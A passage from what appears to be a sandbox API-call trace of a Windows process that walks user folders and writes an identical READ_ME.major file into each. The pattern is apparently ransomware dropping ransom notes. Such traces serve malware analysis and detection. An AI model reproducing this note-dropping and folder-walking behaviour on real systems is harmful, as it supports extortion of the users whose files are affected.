0x2f8af90 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657740 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0210.224] GetLastError () returned 0x0 [0210.224] SetLastError (dwErrCode=0x0) [0210.224] GetLastError () returned 0x0 [0210.224] SetLastError (dwErrCode=0x0) [0210.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657740 | out: hHeap=0x570000) returned 1 [0210.225] GetLastError () returned 0x0 [0210.225] SetLastError (dwErrCode=0x0) [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0210.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0210.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661cd8 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e20 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663720 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d4b0 [0210.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6575b0 [0210.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0210.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6575b0 | out: hHeap=0x570000) returned 1 [0210.225] GetLastError () returned 0x0 [0210.225] SetLastError (dwErrCode=0x0) [0210.225] GetLastError () returned 0x0 [0210.225] SetLastError (dwErrCode=0x0) [0210.225] GetLastError () returned 0x0 [0210.225] SetLastError (dwErrCode=0x0) [0210.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660120 [0210.226] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\ieflipaheadcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660120 | out: hHeap=0x570000) returned 1 [0210.226] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.227] CloseHandle (hObject=0x16e4) returned 1 [0210.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663720 | out: hHeap=0x570000) returned 1 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0210.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0210.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658168 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0210.228] GetLastError () returned 0x0 [0210.228] SetLastError (dwErrCode=0x0) [0210.228] GetLastError () returned 0x0 [0210.228] SetLastError (dwErrCode=0x0) [0210.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0210.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658168 | out: hHeap=0x570000) returned 1 [0210.228] GetLastError () returned 0x0 [0210.229] SetLastError (dwErrCode=0x0) [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6570a0 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0210.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6570a0 | out: hHeap=0x570000) returned 1 [0210.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f10 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668590 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d4b0 [0210.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6575b0 [0210.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6575b0 | out: hHeap=0x570000) returned 1 [0210.229] GetLastError () returned 0x0 [0210.229] SetLastError (dwErrCode=0x0) [0210.229] GetLastError () returned 0x0 [0210.229] SetLastError (dwErrCode=0x0) [0210.229] GetLastError () returned 0x0 [0210.229] SetLastError (dwErrCode=0x0) [0210.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659e90 [0210.230] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\playready\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659e90 | out: hHeap=0x570000) returned 1 [0210.240] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.241] CloseHandle (hObject=0x16e4) returned 1 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668590 | out: hHeap=0x570000) returned 1 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e428 | out: hHeap=0x570000) returned 1 [0210.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0210.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6578d0 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0210.242] GetLastError () returned 0x0 [0210.242] SetLastError (dwErrCode=0x0) [0210.242] GetLastError () returned 0x0 [0210.242] SetLastError (dwErrCode=0x0) [0210.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0210.242] GetLastError () returned 0x0 [0210.242] SetLastError (dwErrCode=0x0) [0210.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0210.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0210.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0210.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6575b0 [0210.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0210.243] GetLastError () returned 0x0 [0210.243] SetLastError (dwErrCode=0x0) [0210.243] GetLastError () returned 0x0 [0210.243] SetLastError (dwErrCode=0x0) [0210.243] GetLastError () returned 0x0 [0210.243] SetLastError (dwErrCode=0x0) [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6699d0 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6570a0 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668590 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6578d0 [0210.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0210.243] GetLastError () returned 0x0 [0210.244] SetLastError (dwErrCode=0x0) [0210.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0210.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0210.244] GetLastError () returned 0x0 [0210.244] SetLastError (dwErrCode=0x0) [0210.244] GetLastError () returned 0x0 [0210.244] SetLastError (dwErrCode=0x0) [0210.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663808 [0210.244] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663808 | out: hHeap=0x570000) returned 1 [0210.245] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.246] CloseHandle (hObject=0x16e4) returned 1 [0210.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0210.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668590 | out: hHeap=0x570000) returned 1 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6571c8 | out: hHeap=0x570000) returned 1 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2d10 | out: hHeap=0x570000) returned 1 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663ee0 | out: hHeap=0x570000) returned 1 [0210.247] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59f82c3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xcd455dd5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34fc6aa9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ed58 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6575b0 | out: hHeap=0x570000) returned 1 [0210.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0210.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0210.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6587a8 [0210.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0210.247] GetLastError () returned 0x12 [0210.247] SetLastError (dwErrCode=0x12) [0210.247] GetLastError () returned 0x12 [0210.248] SetLastError (dwErrCode=0x12) [0210.248] GetLastError () returned 0x12 [0210.248] SetLastError (dwErrCode=0x12) [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be6e0 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ec0 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f2ead8 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2ead8 | out: hHeap=0x570000) returned 1 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ec0 | out: hHeap=0x570000) returned 1 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6587a8 | out: hHeap=0x570000) returned 1 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0210.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658870 [0210.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0210.248] GetLastError () returned 0x12 [0210.249] SetLastError (dwErrCode=0x12) [0210.249] GetLastError () returned 0x12 [0210.249] SetLastError (dwErrCode=0x12) [0210.249] GetLastError () returned 0x12 [0210.249] SetLastError (dwErrCode=0x12) [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f2ead8 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2ead8 | out: hHeap=0x570000) returned 1 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658870 | out: hHeap=0x570000) returned 1 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6583c0 [0210.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0210.249] GetLastError () returned 0x12 [0210.249] SetLastError (dwErrCode=0x12) [0210.249] GetLastError () returned 0x12 [0210.250] SetLastError (dwErrCode=0x12) [0210.250] GetLastError () returned 0x12 [0210.250] SetLastError (dwErrCode=0x12) [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f2ead8 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2ead8 | out: hHeap=0x570000) returned 1 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6583c0 | out: hHeap=0x570000) returned 1 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657fd8 [0210.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0210.250] GetLastError () returned 0x12 [0210.250] SetLastError (dwErrCode=0x12) [0210.250] GetLastError () returned 0x12 [0210.250] SetLastError (dwErrCode=0x12) [0210.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657fd8 | out: hHeap=0x570000) returned 1 [0210.251] GetLastError () returned 0x12 [0210.251] SetLastError (dwErrCode=0x12) [0210.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657678 | out: hHeap=0x570000) returned 1 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c320 | out: hHeap=0x570000) returned 1 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663bc0 | out: hHeap=0x570000) returned 1 [0210.251] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\LocalState\\PinnedTiles\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x132e491b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd4e1bc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34fc6aa9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ead8 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0210.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0210.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657fd8 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0210.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0210.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657fd8 | out: hHeap=0x570000) returned 1 [0210.252] GetLastError () returned 0x12 [0210.252] SetLastError (dwErrCode=0x12) [0210.252] GetLastError () returned 0x12 [0210.252] SetLastError (dwErrCode=0x12) [0210.252] GetLastError () returned 0x12 [0210.252] SetLastError (dwErrCode=0x12) [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2eb18 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0210.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0210.252] GetLastError () returned 0x12 [0210.252] SetLastError (dwErrCode=0x12) [0210.252] GetLastError () returned 0x12 [0210.253] SetLastError (dwErrCode=0x12) [0210.253] GetLastError () returned 0x12 [0210.253] SetLastError (dwErrCode=0x12) [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2eb18 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0210.253] GetLastError () returned 0x12 [0210.253] SetLastError (dwErrCode=0x12) [0210.253] GetLastError () returned 0x12 [0210.253] SetLastError (dwErrCode=0x12) [0210.253] GetLastError () returned 0x12 [0210.253] SetLastError (dwErrCode=0x12) [0210.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0210.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668590 | out: hHeap=0x570000) returned 1 [0210.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657cb8 | out: hHeap=0x570000) returned 1 [0210.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6639e0 | out: hHeap=0x570000) returned 1 [0210.254] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x319c919e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5f8670, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3511ec7f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2eb18 [0210.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 